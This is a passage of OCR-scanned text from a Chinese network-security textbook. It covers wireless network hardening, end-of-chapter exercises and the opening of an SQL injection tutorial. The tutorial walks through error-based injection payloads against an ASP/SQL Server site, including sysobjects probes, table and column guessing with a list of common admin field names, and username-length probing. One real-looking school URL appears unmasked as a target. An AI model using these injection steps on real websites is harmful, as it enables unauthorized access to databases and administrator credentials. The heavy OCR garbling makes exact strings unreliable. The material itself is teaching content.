AMETAN ]| SHSEXHEN | HENHEKH || EENEKH 
sme[ wm [WW] 
图 5-140 静态 ARP 绑 定 设置 


第 16 步 : 在 图 5-141 中 ,选择 [IP 与 MAC ZEE EARP 映射 表 】 选 项 ,设置 如 图 5-141 
所 示 S 


MC 地址 I? 地 址 状态 配置 


10-11-33-55-77-99 | ”192.163.1.33 | ESE [SA] [WE] 
全 训导 入 | [ms [€5 


图 5-141 ARP 映射 表 


第 17 步 : 在 图 5-142 中 ,选择 【系统 工具 了 民 修 改 登录 口令 ] 选 项 ,修改 登录 口令 后 , 单 击 
【保存 ] 按 钮 。 
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本 页 修改 系 较 管理 员 的 用 户 名 及 口令 


RAPZ: 
原 口 令 : 
新 用 户 名 : 
sine: 
确认 新 口令 : 


Ez Ea] 
图 5-142 修改 登录 口令 


3. 无 线 网 络 的 安全 


从 前 面 的 案例 可 知 ,无 线 网 络 ( 又 称 为 WiFi) 可 能 存在 许多 网 络 安全 问题 。 一 般 情况 
下 ,无 线 网 络 比 有 线 网 络 更 容易 受到 入 侵 , 因 为 被 攻击 的 计算 机 与 入 侵 者 的 计算 机 不 需要 物 
理 上 的 连接 ,入 侵 者 的 计算 机 只 要 在 无 线路 由 器 或 中 继 器 的 有 效 信号 覆盖 范围 内 即 可 。 如 
果 在 内 部 网 络 传输 的 数据 没有 经 过 加 密 , 那 么 很 有 可 能 造成 隐私 数据 的 被 盗 。 
一 个 简单 的 无 线 网 络 拓扑 结构 如 图 5-143 所 示 。 


(mB Q 0) tos 


无 线 客户 端 


图 5-143 简单 无 线 网 络 拓扑 结构 


下 面 介 绍 保障 无 线 网 络 安全 的 一 些 措施 。 

CD 确定 AP( 无 线 接 人 点) 的 位 置 

前 面 案例 中 的 情况 就 是 邻居 家 的 AP 没有 放 在 一 个 合适 的 位 置 造成 的 。 所 以 ,首先 就 
应 注意 合理 放置 Re a ODD NICN. 别 将 AP 放 在 窗户 附 
近 , 因 为 玻璃 无 法 阻挡 信号 。 最 好 将 AP 放 在 需要 覆盖 区 域 的 中 心 ,使 泄露 到 墙 外 的 信号 尽 
可 能 地 少 。 不 过 ,完全 控制 无 线 信号 泄露 几乎 是 不 可 能 的 。 

(2) 修改 登录 AP 的 默认 用 户 名 和 密码 

一 般 的 小 型 无 线 网 络 是 通过 无 线路 由 器 或 中 继 器 访问 外 网 的 。 通 常 这 些 路 由 器 或 中 继 
器 设备 制造 商 为 了 便于 用 户 设置 这 些 设备 建立 起 无 线 网 络 , 都 提供 了 一 个 管理 页 面 ,在 这 个 
页 面 可 以 设置 该 设备 的 网 络 地 址 以 及 账号 等 信息 。 为 了 保证 只 有 设备 拥有 者 才能 使 用 这 个 
管理 页 面 ,该 设备 通常 也 设 有 登录 界面 ,只 有 输入 正确 的 用 户 名 和 密码 的 用 户 才能 进入 管理 
页 面 。 然 而 在 设备 出 售 时 ,制造 商 给 每 一 个 型 号 的 设备 提供 的 默认 用 户 名 和 密码 都 是 一 样 
的 。 不 幸 的 是 ,很 多 用 户 购买 回 这 些 设 备 之 后 ,都 不 会 去 修改 设备 默认 的 用 户 名 和 和 密码。 这 
就 使 得 黑客 们 有 机 可 乘 。 他 们 只 要 通过 简单 的 扫描 工具 就 能 够 很 容易 找到 这 些 设备 并 尝试 
用 默认 的 用 户 名 和 密码 登录 管理 页 面 .如 果 成 功 则 立即 得 到 该 无 线路 由 器 的 控制 权 。 所 以 ， 
最 好 修改 登录 AP 的 用 户 名 和 密码 ,防止 非法 用 户 轻易 对 无 线 AP 或 无 线 宽带 路 由 器 进行 
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控制 。 

(3) 修改 默认 的 SSID 

SSID( Service Set Identifier ,服务 区 标识 符 ) 是 一 个 无 线 网 络 的 标识 符 , 是 无 线 网 络 最 
基本 的 身份 认证 机 制 ,无线 客 户 用 它 来 建立 与 某 个 AP 之 间 的 连接 。 无 线 客户 端 要 加 入 一 
个 无 线 网 络 时 需要 出 示 正 确 无 线 AP 或 无 线 宽带 路 由 器 的 SSID ,才能 访问 无 线 AP 或 无 线 
宽带 路 由 器 ,否则 ,无 线 AP 或 无 线 宽带 路 由 器 将 拒绝 该 无 线 客户 端 通过 本 服务 区 上 网 。 这 
个 标识 符 是 由 通信 设备 制造 商 设置 的 ,并 且 每 个 厂商 都 用 自己 的 默认 值 。 如 果 不 为 无 线 网 
络 指定 一 个 SSID 或 者 只 使 用 默认 的 SSID ,那么 任何 无 线 客户 端 都 可 以 进入 该 网 络 ,这 无 疑 
为 黑客 人 侵 网 络 提供 了 方便 。 

(4) 禁止 SSID 广播 

在 无 线 网 络 中 ,路 由 设备 有 个 很 重要 的 功能 ,就 是 广播 SSID。 最 初 ,这 个 功能 主要 是 为 
那些 无 线 网 络 客户 端 流量 特别 大 的 商业 无 线 网 络 而 设计 的 。 开 启 了 SSID 广播 的 无 线 网 
络 , 其 路 由 设备 会 自动 向 其 有 效 范 围 内 的 无 线 网 络 客户 端 广播 自己 的 SSID ,无 线 网 络 客户 
端 接收 到 这 个 SSID 后 ,就 可 以 利用 这 个 SSID 使 用 这 个 网 络 了 。 但 是 ,这 个 功能 却 存在 极 
大 的 安全 隐患 ,因为 自动 为 想 进 入 该 网 络 的 黑客 提供 了 方便 。 在 商业 网 络 里 ,由 于 为 了 满足 
经 常 变动 的 无 线 网 络 接 人 端 , 必 定 要 牺牲 安全 性 来 开启 SSID 广播 功能 ,但 是 作为 SOHO 
(Small Office And Home Office) 无 线 网 络 来 讲 , 网 络 成 员 相 对 固定 ,所 以 应 该 关闭 SSID 广 
播 功能 。 

(5) 设置 MAC 过 滤 

基本 上 每 个 网 络 设备 (包括 无 线 网 络 设备 ) 都 有 一 个 独一无二 的 物理 地 址 或 MAC 地 
址 ,所 有 路 由 器 /中 继 器 等 路 由 设备 都 能 够 跟踪 所 有 经 过 它们 的 数据 包 的 源 MAC 地 址 ,并 
且 都 提供 对 MAC 地 址 的 操作 。 因 此 ,可 以 利用 该 功能 来 设置 MAC 过 滤 , 通 过 建立 基于 
MAC 地 址 的 Access Control( 访 问 控 制 表 ,允许 接 入 无 线 网 络 的 MAC 地 址 列表 ) 来 防止 非 
法 设备 或 主机 的 接 入 。 因 为 MAC 地 址 列表 中 的 地 址 需要 手工 录入 ,扩展 能 力 差 ,只 适合 小 
型 的 网 络 规模 。 


BEE 该 方法 不 是 绝对 有 效 , 因 为 可 以 修改 网 卡 的 MAC 地址。 


(6) 设置 WEP 加 密 

只 依靠 访问 控制 实现 无 线 网 络 的 安全 是 不 够 的 ,还 需要 对 传输 的 数据 进行 加 密 ,数据 加 
密 可 保证 发 射 的 数据 只 能 被 所 期 望 的 用 户 接收 和 理解 ,目前 常见 的 数据 加 密 方法 是 WEP 
(Wired Equivalent Privacy, 有 线 等 效 加 密 ) 。 

WEP 加 密 技术 源 自 于 名 为 RC4 的 RSA 数据 加 密 技 术 ,可 满足 用 户 较 高 层次 的 网 络 安 
全 需求 。WEP 使 用 了 共享 密 钥 RC4 加 密 算 法 , 密 钥 长 度 最 初 为 40 位 (5 个 字符 ), 后 来 增加 
到 128 位 (13 个 字符 ), 有 些 新 设备 可 以 支持 152 位 加 密 。 不 是 所 有 的 无 线 网 卡 都 支持 
128 位 或 以 上 加 密 方式 WEP KEY。 有 的 老 无 线 网 卡 可 能 只 支持 40 位 方式 的 加 密 或 64 位 
方式 的 加 密 , 还 有 的 根本 就 不 支持 。 所 以 在 设置 无 线 AP 或 无 线 宽带 路 由 器 的 WEP 加 密 时 
还 需要 根据 无 线 网 卡 的 情况 来 设置 加 密 位 数 。 目 前 多 数 无 线 产品 在 加 密 方 面 做 得 都 不 错 ， 
均 可 提供 多 种 加 密 认证 方式 ,不 过 ,不 要 使 用 厂商 自 带 的 WEP 密 钥 ,使 用 128 位 的 WEP 加 


密 技 术 更 加 安全 可 靠 。 
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WEP 加 密 采 用 静态 的 保密 密 钥 , 每 个 无 线 客 户 端 使 用 相同 的 密 钥 访问 无 线 网 络 。 
WEP 也 提供 认证 功能 , 当 启 用 了 加 密 功 能 ,客户 端 尝 试 连接 AP 时 ,AP 会 发 出 一 个 
Challenge Packet 给 客户 端 ,客户 端 再 利用 共享 密 钥 将 此 值 加 密 后 送 回 AP 进行 确认 ,只 有 
正确 无 误 后 ,才能 允许 该 无 线 客户 端 存 取 网 络 资源 。 

(7) 禁用 DHCP 

如 果 启 用 DHCP 服务 ,那么 就 存在 一 个 安全 隐患 ,因为 要 接 人 该 无 线 网 络 的 入 侵 者 很 
容易 通过 DHCP 服务 得 到 一 个 合法 的 IP. 

在 成 员 固 定 的 小 型 网 络 中 ,最 好 禁用 DHCP, 然 后 为 网 络 成 员 设备 分 配 固定 的 IP 地 址 ， 
再 在 路 由 器 上 设 定 允 许 接 和 人 设备 的 TP 地 址 列表 ,从 而 可 以 有 效 地 防止 非法 入 侵 。 

禁用 DHCP 后 ,黑客 必须 要 破解 本 无 线 网 络 的 IP 地 址 、 子 网 掩 码 以 及 其 他 必需 的 
TCP/IP 参数 ,这 无 疑 增加 了 黑客 人 侵 的 难度 。 

(8) 禁用 SNMP 

如 果 AP 支持 SNMP ,那么 需要 禁用 SNMP 或 者 修改 AP 默认 的 公开 及 专用 的 共用 字 
符 串 。 和 否则 ,黑客 将 可 以 利用 SNMP 获取 关于 本 网 络 的 重要 信息 。 

(9) 主动 更 新 

安装 所 使 用 的 无 线路 由 器 或 无 线 网 卡 的 最 新 固件 或 驱动 程序 ,消除 以 前 存在 的 漏洞 。 


小 结 


本 章 介 绍 了 端口 与 漏洞 扫描 以 及 网 络 监听 技术 、 缓 冲 区 溢出 攻击 及 其 防范 、arp 欺骗 、 
DOS 与 DDoS 攻击 检测 与 防御 防火墙 技术 .入 侵 检 测 与 人 侵 防 御 技术 .恶意 软件 、 蜜 饶 技 
术 、VPN 技术 .httptunnel 技术 以 及 无 线 网 络 安全 等 内 容 。 并 且 通 过 对 一 系列 实例 的 介绍 ， 
加 深 读者 对 网 络 安 全 和 攻防 方面 的 基础 知识 和 技术 的 理解 ,帮助 读者 提高 解决 实际 网 络 安 
全 问题 的 能 力 。 


习 题 
1. 填空 题 
CD 网 络 安全 的 目标 主要 是 : 系统 的 可 靠 性 、 、 、 \ 不 可 抵赖 
性 和 可 控 性 等 方面 。 
(2) 黑客 常用 的 攻击 手段 有 : ` ` 、 等 。 


(3) 黑客 人 侵 的 步骤 一 般 可 以 分 为 3 个 阶段 : 
(4) 一 些 常 用 的 网 络 命令 有 : 


s 等 。 
《5 命令 用 于 确定 IP 地 址 对 应 的 物理 地 址 。 
(6) 是 对 计算 机 系统 或 其 他 网 络 设备 进行 与 安全 相关 的 检测 , 找 出 安全 隐患 
和 可 被 黑客 利用 的 漏洞 。 
(7) 就 是 一 扇 进入 计算 机 系统 的 门 。 
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(8) 是 一 块 保存 数据 的 连续 内 存 , 一 个 名 为 的 寄存 器 指向 它 的 顶部， 


它 的 底部 在 一 个 固定 的 地 址 。 


(9) 攻击 是 通过 对 主机 特定 漏洞 的 利用 攻击 导致 网 络 栈 失 效 、 系 统 骨 省、 主机 


死机 而 无 法 提供 正常 的 网 络 服务 功能 。 


(10) DDoS 的 攻击 形式 主要 有 : 和 
(11) 是 控制 从 网 络 外 部 访问 本 网 络 的 设备 ， "T 常 位 于 内 网 与 Internet 的 连接 


处 ,充当 访问 网 络 的 唯一 入 口 (出 口 )。 


(12) Linux 提供 了 一 个 非常 优秀 的 防火 墙 工 具 ; 它 免费 功能 强大 \ 可 以 对 流 


入 流出 的 信息 进行 灵活 控制 ,并 且 可 以 在 一 台 低 配 置 的 机 器 上 很 好 地 运行 。 


(13) 根据 原始 数据 的 来 源 IDS 可 以 分 为， 和 
(14) 是 一 组 计算 机 指令 或 者 程序 代码 ,能 白 我 复制 ， 通常 庶 入 在 计算 机 程序 


中 ,能 够 破坏 计算 机 功能 或 者 毁坏 数据 ,影响 计算 机 的 使 用 。 


(15) 是 计算 机 病毒 的 一 种 ,利用 计算 机 网 络 和 安全 漏洞 来 复制 自身 的 一 段 


(16) 一 个 程序 , 它 驻 留 在 目标 计算 机 中 , 随 计 算 机 启动 而 自动 启动 ,并 且 


在 某 一 —d nap. PEN heeii kapasta onipin AEA 


(17) 特洛伊 木马 包括 两 个 部 分 : 和 
(18) 是 利用 网 页 来 进行 破坏 的 病毒 ， 它 存在 于 网 页 之 中 ， 其 实 是 使 用 一 些 脚 


语言 编写 的 一 些 恶意 代码 ,利用 浏览 器 漏洞 来 实现 病毒 的 植 入 。 


(19) 是 指 黑客 自己 建立 带 病毒 的 网 站 ,或 者 人 侵 大 流量 网 站 ,然后 在 其 网 页 


中 植 入 木马 和 病毒 , 当 用 户 浏 览 到 这 些 网 页 时 就 会 中 毒 。 


(20) 是 内 嵌 于 Windows 操作 系统 中 的 脚本 语言 工作 环境 。 
(21) ”是 一 种 资源 , 它 的 价值 是 被 攻击 或 攻陷 。 
(22) 被 定义 为 通过 一 个 公用 网 络 建立 一 个 临时 的 、 安 全 的 连接 ,是 一 条 穿 过 


公用 网 络 的 安全 ,稳定 的 通道 。 


(23) httptunnel 技术 也 称 为 ,是 一 种 绕 过 防火 墙 端口 屏蔽 的 通信 方式 。 
2. 思考 与 简 答题 


(1) 阐述 目前 网 络 的 安全 形势 。 

(2) 阐述 网 络 安全 的 特点 。 

(3) 阐述 黑客 攻击 的 一 般 步 又。 

(4) 常用 的 网 络 命令 有 哪些 ?它们 的 功能 是 什么 ? 

(5) 阐述 缓冲 区 溢出 的 攻击 原理 ,有 了 哪些 方法 可 以 尽量 避免 缓冲 区 溢出 ? 
(6) 阐述 arp 欺骗 的 原理 。 

CD) 阐述 DOS 与 DDoS 攻击 的 原理 .有 哪些 方法 可 以 尽量 防范 DOS 与 DDoS 攻击 ? 
(8) 入 侵 检测 与 人 侵 防御 技术 的 优 缺 点 是 什么 ? 

(9) 计算 机 病毒 .蠕虫 和 木马 带 来 的 威胁 有 哪些 ? 

(10) 阐述 网 页 病毒 、 网 页 木马 的 传播 与 工作 过 程 。 

AD 阐述 病毒 .蠕虫 和 木马 的 一 般 清 除 方法 。 


ey 
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(12) 阐述 自己 对 蜜 钠 技 术 的 理解 。 
(13) 无 线 网 络 的 安全 隐患 有 哪些 ? 


3. 上 机 题 


CD 实验 环境 如 图 5-6 所 示 ,192. 168. 10. 5 运行 X-Scan 对 192. 168. 10. 1 进行 漏洞 扫 
描 ,192. 168. 10. 1 用 Analyzer 分 析 进 来 的 数据 包 , 判 断 是 否 遭 到 扫描 攻击 。 

(2) 实验 环境 如 图 5-34 所 示 ,192. 168. 1. 10 对 192. 168. 1. 20 实施 arp 欺骗 。 

(3) 在 Windows 和 Linux 中 配置 防火 墙 。 

(4) 实验 环境 如 图 5-47 所 示 ,在 192. 168. 10. 5 上 安装 并 且 运 行 Snort 对 192. 168. 10. 1 
上 的 入 侵 进 行 检测 。 

(5) 实验 环境 如 图 5-59 所 示 ,练习 灰 鲍 子 的 使 用 。 

(6) 实验 环境 如 图 5-120 所 示 ,通过 httptunnel 技术 对 192. 168. 10. 1 进行 人 侵 。 

(7) 实验 环境 如 图 5-126 所 示 ,进行 无 线 网 络 安全 配置 。 


eot 
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本 章 学 习 目 标 : 

。 掌握 SQL 注入 式 攻击 的 原理 

。 理解 对 SQL 注入 式 攻 击 的 防范 

。 了 解 常见 的 数据 库 安全 问题 及 安全 威胁 
。 了 解数 据 库 系 统 安全 体系 、 机 制 和 需求 
* 了 解 MS SQL Server 2005 安全 管理 

。 了 解数 据 库 安全 管理 原则 


数据 库 系统 是 计算 机 技术 的 一 个 重要 分 支 ,从 20 世纪 60 年 代 后 期 发 展 至 今 , 已 经 成 为 


一 门 非常 重要 的 学 科 。 数 据 库 是 信息 存储 管理 的 主要 形式 ,是 单机 或 网 络 信息 系统 的 主要 
基础 。 


本 童 通过 实例 介绍 数据 库 系 统 的 安全 特性 以 及 数据 库 系统 安全 所 面临 的 威胁 。 


6.1 SQL 注入 式 攻 击 


随 着 网 络 与 信息 技术 的 飞速 发 展 , 互 联网 已 经 逐渐 改变 了 人 们 的 生活 方式 ,成 为 人 们 生 
活 中 不 可 缺少 的 一 部 分 。 越 来 越 多 的 企业 建设 了 基于 互联 网 的 业务 信息 系统 (Web) ,所 以 
网 络 安全 的 重要 性 就 此 体现 出 来 了 。 据 统计 ,2007 年 在 中 国 被 黑 站 点 中 共有 24516 个 一 级 
域名 网 站 被 算 改 , 见 表 6-1。 
表 6-1 中 国 2007 年 被 黑 站 点 


域名 被 黑 站 点 数 域名 被 黑 站 点 数 


- gov. cn 708 . net. cn 203 


.cn 6186 .net 1586 


. com. cn 1403 . Org 393 


.com 13664 .Org. cn 102 


. edu. cn 271 
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然而 有 更 多 的 攻击 是 在 隐蔽 的 情况 下 进行 的 ,有 些 大 型 企业 网 站 被 黑客 控制 长 达 几 个 
月 ,可 是 该 网 站 的 管理 员 竞 然 没 有 发 现 。 可 见 , Web 应 用 正在 成 为 网 络 安全 的 最 大 弱点 。 
下 面 通过 实例 介绍 SQL 注入 式 攻 击 给 Web 应 用 带 来 的 威胁 。 


6.1.1 实例 : 注入 攻击 MS SQL Server 


SQL 注入 攻击 是 指 攻击 者 通过 黑 盒 测试 的 方法 检测 目标 网 站 脚本 是 否 存在 过 滤 不 严 
的 问题 。 如 果 有 ,那么 攻击 者 就 可 以 利用 某 些 特殊 构造 的 SQL 语句 ,通过 在 浏览 器 直接 查 
询 管 理 员 的 用 户 名 和 密码 ,或 者 利用 数据 库 的 一 些 特性 进行 权限 提升 。 

本 节 要 注入 的 网 站 如 图 6-1 所 示 ,由 于 只 是 为 了 介绍 注入 网 站 的 方法 ,并 未 实质 人 侵 该 
网 站 ,同时 也 是 为 了 对 该 网 站 保密 ,因此 在 后 面 的 截图 中 隐藏 了 该 网 站 的 相关 信息 。 


b [D] ttp: me ]e 


B 北京 市 西城 区 人 力 资 源 与 劳动 保障 施 令 
W 学 院 举办 消防 知识 讲座 
W 学 院 2007 年 度 竺 事 会 回 江 召开 


= ] E 
Cee e O 
图 6-1 被 注入 网 站 的 首页 


图 6-1 显示 的 是 要 被 注入 网 站 的 首页 ,将 鼠标 放 在 “我 院 召开 “平安 奥运 ’ 工 作 部 署 会 ” 
上 ,在 状态 栏 显示 其 URL 是 http://www. xxx. com. cn/detail. asp? productid 王 392。 看 到 
URL 中 有 类 似 detail. asp? productid 这 样 的 信息 ,就 可 以 猜测 该 网 站 是 否 存在 注入 漏 
洞 了 。 

第 1 步 : 加 单 引号 。 

如 图 6-2 所 示 是 在 浏览 器 地 址 栏 中 http://www. xxx. com. cn/detail. asp? productid 一 392 
后 面 加 一 个 单 引 号 , 按 Enter 键 后 ,服务 器 返回 的 错误 提示 。 

从 返回 的 错误 提示 可 知 : 网 站 使 用 的 是 SQL Server 数据 库 , 通 过 ODBC 来 连接 数据 
库 ,程序 存在 过 滤 不 严密 的 问题 ,因为 输入 的 单 引 号 被 程序 解析 执行 了 。 

第 2 步 : 测试 “and 1 一 1”。 

如 图 6-3 所 示 ,在 浏览 器 地 址 栏 中 http://www. xxx. com. cn/ detail. asp? productid 一 
392 后 面 加 “and 1=1”, fk Enter 键 后 ,服务 器 返回 到 正常 页 面 。 
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File 


E-D- A O e Ren aee. Eom i 


Edit View Xistory Bookmarks Tools Help 


Microsoft OLE DB Provider for ODBC Drivers 错误 "80040e14” 
[Microsoft] [ODBC SQL Server Driver] [SQL Server] 第 1 fj: "" 附近 有 语法 错误 。 


/detail.asp, fT 22 


t View Mistory Bookmarks Tools Kelp 


pr 上 | con. cn/ detail. asp?product: 


图 6-3 测试 "and 1 一 1” 


第 3 步 : 测试 “and 1 一 2”。 
如 图 6-4 所 示 ,在 浏览 器 地 址 栏 中 http://www. xxx. com. cn/ detail. asp? productid— 
392 后 面 加 “and 1 王 2”, 按 Enter 键 后 ,服务 器 返回 错误 提示 。 


File Edit View Wistory Booknerks Tools Help 


E-D- AO da [o wm em aea eT -J2 四 [GI- [sca 


ADODB.Field 错误 “800a0bed 


BO R EOF 中 有 一 个 是 “ 真 ”， 或 者 当前 的 记录 已 被 二 除 ， 所 趣 的 操作 要 求 一 个 当前 的 记录 。 


fdeteil.asp fT 70 


图 6-4 测试 “and 1—2" 


第 2 步 和 第 3 步 就 是 经 典 的 1—1,1—2 测试 法 。 

如 果 一 个 网 站 可 以 被 注入 ,那么 : 第 2 步 显 示 正 常 网 页 ,第 3 步 显 示 错 误 提示 ,提示 
BOF 或 EOF 中 有 一 个 是 “ 真 ”, 或 者 当前 的 记录 已 被 删除 ,所 需 的 操作 要 求 一 个 当前 的 
记录 。 

如 果 一 个 网 站 不 可 以 被 注入 ,那么 : 第 2 步 和 第 3 步 都 会 显示 错误 提示 。 

第 4 步 : 判断 数据 库 类 型 。 

对 于 不 同 的 数据 库 ,它们 的 函数 和 注入 方法 都 有 差异 ,所 以 在 注入 之 前 ,还 要 判断 数据 
库 的 类 型 。 如 果 在 第 1 步 加 单 引 号 后 得 不 到 有 价值 的 信息 ,那么 可 以 利用 "user 二 0" 来 判断 
数据 库 类 型 。 

如 图 6-5 所 示 ,在 浏览 器 地 址 栏 中 http://www. xxx. com. cn/detail. asp? productid 一 
392 后 面 加 “and user 二 0”. 按 Enter 键 后 ,服务 器 返回 错误 提示 ,可 知 是 SQL Server 数 
据 库 。 

"http://www. xxx. com. cn/detail. asp? productid=392 and user 二 0? 的 含义 : and 前 
面 的 语句 是 正常 的 ,and 后 面 的 user 是 SQL Server 的 一 个 内 置 变量 , 它 的 值 是 当前 连接 数 
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D Nozilla Firefox 
Edit Vier Xistery Bookaarks Tools Help 

4-5 -Q © [O mm poem inti tese EE |r] >) [Ezeo 

Microsoft OLE DB Provider for ODBC Drivers 错误 "30040e07 


Microsoft] [0DBC SQL Server Driver) [SQL Server] 将 nvarchar fË 'c«68163' HRAWRRND int 的 列 时 发 生 语法 错误 。 


/detail.asp, fT 22 


图 6-5 测试 "and user—0" 


据 库 的 用 户 名 ,类 型 是 nvarchar。 拿 一 个 nvarchar 类 型 的 值 和 int 类 型 的 数 0 进行 比较 , 系 
统 会 试图 将 nvarchar 类 型 的 值 转换 为 int 类 型 ,不 过 ,在 转换 过 程 中 会 出 错 ,SQL Server 的 
出 错 提示 如 图 6-5 所 示 , 其 中 cw88163 是 当前 连接 数据 库 的 用 户 名 。 


区 注意 SQL Server 中 有 一 个 用 户 sa, 该 用 户 是 一 个 等 同 于 Adminstrators 权限 的 
角色 。 上 面 的 方法 可 以 很 方便 地 测试 出 是 否 是 用 sa 连接 数据 库 , 如 果 是 用 sa 连接 数据 
库 , 那 么 将 提示 “将 nvarchar 值 dbo' 转 换 为 数据 类 型 为 int 的 列 时 发 生 语法 错误 ”。 


如 果 IIS 服务 器 不 允许 返回 错误 提示 ,可 以 从 Access 和 SQL Server 的 区 别人 手 ， 
Access 和 SQL Server 都 有 自己 的 系统 表 , 比 如 存放 数据 库 中 所 有 对 象 的 表 : Access 是 在 
系统 表 msysobjects 中 ,但 在 Web 环境 下 读 该 表 会 提示 “没有 权限 ”; SQL Server 是 在 表 
sysobjects 中 ,在 Web 环境 下 可 正常 读 取 。 

在 确认 可 以 注入 的 情况 下 ,使 用 下 面 的 语句 : 

http://ww.xxx.om.cn/detail .asp? productid- 392 and (select count(* ) from 

sysdbjects)» 0 

如 果 是 SQL Server 数据 库 ,那么 该 网 址 显示 的 页 面 与 “www. xxx. com. cn/ detail. asp? 
productid 王 392? 是 一 样 的 ,如 图 6-6 所 示 。 


lile Eit Wav Mgtory Bookmerke Tools Help 


E- o - Q o d [o ee as edeti ng 


我 院 召开 “平安 奥运 ”工作 部 署 会 


图 6-6 select count( * ) from sysobjects 


使 用 下 面 的 语句 : 

http://wii.xxx. oom. cn/detail.asp? productid- 392 and (select count(* ) fram 

msyscbjects)» 0 

如 果 是 SQL Server 数据 库 ,由 于 找 不 到 表 msysobjects, 服 务 器 会 返回 错误 提示 “对 象 
名 msysobjects 无 效 ”, 如 图 6-7 所 示 , 如 果 Web 程序 有 容错 能 力 , 那 么 服务 器 返回 页 面 也 与 
原 页 面 不 同 。 

使 用 下 面 的 语句 : 


276) 
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Y ozilla Firefox 


lile Edit Vier History Bodmarks loss Help 


E] f» e z [^1 aetail asp?product 
Microsoft OLE DB Provider for ODBC Drivers 错误 '$0040e37" 


[Microsoft] [ODBC SQL Server Driver] [SQL Server] 对 象 名 "nsysobjects” 无 次。 


/detail.asps 行 22 


图 6-7 select count( * ) from msysobjects 


http://www. ahsdxy. ah. edu. cn/ReadNews. asp? NewsID — 294 and (select count( * ) 
from msysobjects) > 0. 如 图 6-8 所 示 , 服务 器 会 返回 错误 提示 “不 能 读 取 记录 ;在 


msysobjects' 上 没有 读 取 数 据 权限 ”, 说 明 是 SQL Server 数据 库 。 


lile Edit Vier History Bookmarks Tools Kelp 


:SC © [o we nn 
Microsoft JET Database Engine 漠 误 “30040e09” 


不 能 该 取 记录 ， 在 “msysobjscts” 上 没有 请 取 数据 权限 。 


/RoadNews. asp, ff 13 


[86-8 select count( * ) from msysobjects 


使 用 下 面 的 语句 : 


http://www. ahsdxy. ah. edu. cn/ReadNews. asp? NewsID = 294 and (select count( * ) 


from sysobjects) 70, Al] 6-9 所 示 ,服务 器 会 返回 错误 提示 。 


lile Bit Yie History Bookmarks Tools Help 


Q- E © [er mere 
Microsoft JET Database Engine Wi '30040e3T' 


Microsoft Jet 数据 库 3 引擎 找 不 到 输入 雪 或 查询 ，sysobjects' 。 确定 它 是 否 存 在 ， 以 及 它 的 名 称 的 拼写 是 否 正 确 。 


/RoadNows. asp, 行 13 


图 6-9 select count( * ) from sysobjects 


第 5 步 : 猜测 表 名 。 
图 6-8 和 图 6-9 是 基于 www. xxx. ah. edu. cn 网 站 进行 的 测试 。 


如 图 6-10 所 示 , 在 浏览 器 地 址 栏 中 http://www. xxx. com. cn/ detail. asp? productid — 392 
后 面 加 “and (select count( * ) from admin) 二 一 0”, 按 Enter 键 后 ,服务 器 返回 错误 提示 ,说 


明 不 存在 admin X, 


lile Bit Vier Xigtory Bookmarks Teols Help 


Q- >- QG © A [D rem ree emen 


Microsoft OLE DB Provider for ODEC Drivers 错误 "80040e37 


Dicrosoft] [0DBC SQL Server Driverl[SQL Server] 对 象 名 "adnin 无效。 


/detail.ssp. 行 22 


图 6-10 猜测 表 名 失败 


C 


a N 


@ 
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继续 猜测 表 名 ,如 图 6-11 所 示 ,在 http://www. xxx. com. cn/detail. asp? productid — 392 
后 面 加 “and (select count( * ) from adminuser) 二 一 0”, 返 回 正常 页 面 , 说 明 存在 adminuser X. 
猜测 成 功 。 


Tile Edit View Mistery Boomarks Toole Help 


Q- -O (t [D eee ete 


我 院 召开 “平安 奥运 ”工作 部 署 会 


图 6-11 猜测 表 名 成 功 
注意 ,猜测 表 名 时 也 可 以 使 用 如 下 形式 : 


http: //www.xxx.oam.cn/detail.asp?productid- 392 and exists (select * from admin) 
http://wWw.xxx.oam.cn/detail asp? prodactid- 39? and exists (select * fron adminuser) 


R 6-2 列 出 了 常见 的 管理 员 表 名 、 账 户 字段 名 称 和 密码 字段 名 称 ,在 进行 表 名 、 字 段 名 
猜测 时 仅 供 参 考 。 
表 6-2 常见 的 表 名 和 字段 名 


管理 员 表 名 账户 字段 名 称 密码 字 
admin username password 
manage name adminpassword 
admin_userinfo u name passwd 
user administrators serpass 
password userid pwd 
table admin adminuser adminpass 
userinfo user user password 
a admin admin username admin password 
t admin uid pword 
users usr user pass 
adminuser admin admin passwd 
company usr n name pwd 
article admin user name pws 
book adminname user pwd 
bbs admin name adminpwd 
config adminpass admin pass 
admins admin user passwords 
adminusers adminusername passwds 
admin user user admin admin pwd 
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第 6 步 : 猜测 字段 名 (用 户 名 和 密码 字段 ) 。 

猜 出 表 名 以 后 ,将 count( * ) 替 换 成 count( 字 段 名 ) ,用 同样 的 方法 猜 解 字段 名 。 

如 图 6-12 所 示 ,在 浏览 器 地 址 栏 中 http://www. xxx. com. cn/detail. asp? productid 王 392 
后 面 加 “and exists (select count(name) from adminuser) > =0” , f% Enter 键 后 ,服务 器 返 
回 错误 提示 ,说 明 不 存在 name 用 户 名 字段 。 


File Edit View History Boomerks Teols Help 


E-D- Co A [D em anti etnies aE 


Microsoft OLE DB Provider for ODBC Drivers Ei '$0040e14" 


[Microsoft] [ODBC SQL Server Driver] [SQL Server] 列 名 "nane” 无 效 。 


/detail. asp» 行 22 


图 6-12 ”猜测 用 户 名 字段 名 失败 


继续 猜测 用 户 名 字段 名 ,如 图 6-13 所 示 , 在 http://www. xxx. com. cn/detail. asp? 
productid — 392 后 面 加 “and (select countCadmin name) from adminuser) > — 0" ,3R [n] IE % 
页 面 ,说 明 存 在 admin. name 用 户 名 字段 名 ,猜测 成 功 。 


ES ozilla Firefox 


File Edit View History Bodmerks Tools 


-> COM 


图 6-13 猜测 用 户 名 字段 名 成 功 


然后 猜测 密码 字段 

假设 http://www. xxx. com. cn/ detail. asp? productid— 392 and (select count(admin pwd) 
from adminuser) — —0 返回 正常 页 面 , 则 密码 字段 名 猜测 成 功 ,密码 字段 名 是 admin. pwd. 

第 7 步 : 猜测 用 户 名 。 

已 知 表 adminuser 中 存在 admin name 字段 ,下面 使 用 ASCII 逐 字 解码 法 猜测 用 户 名 。 

首先 ,猜测 用 户 名 的 长 度 。 

如 图 6-14 所 示 ,在 浏览 器 地 址 栏 中 http://www. xxx. com. cn/ detail. asp? productid 一 392 
后 面 加 “and (select top 1 lenCadmin name) from adminuser) 二 11”, 含 义 是 取 第 一 条 记录 ， 
测试 用 户 名 长 度 , 按 Enter 键 后 ,返回 正常 页 面 ,说 明 用 户 名 的 长 度 大 于 11。 


File Hdit Vie Histery Bookmarks Tools Help 
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图 6-14 用 户 名 长 度 大 于 11 
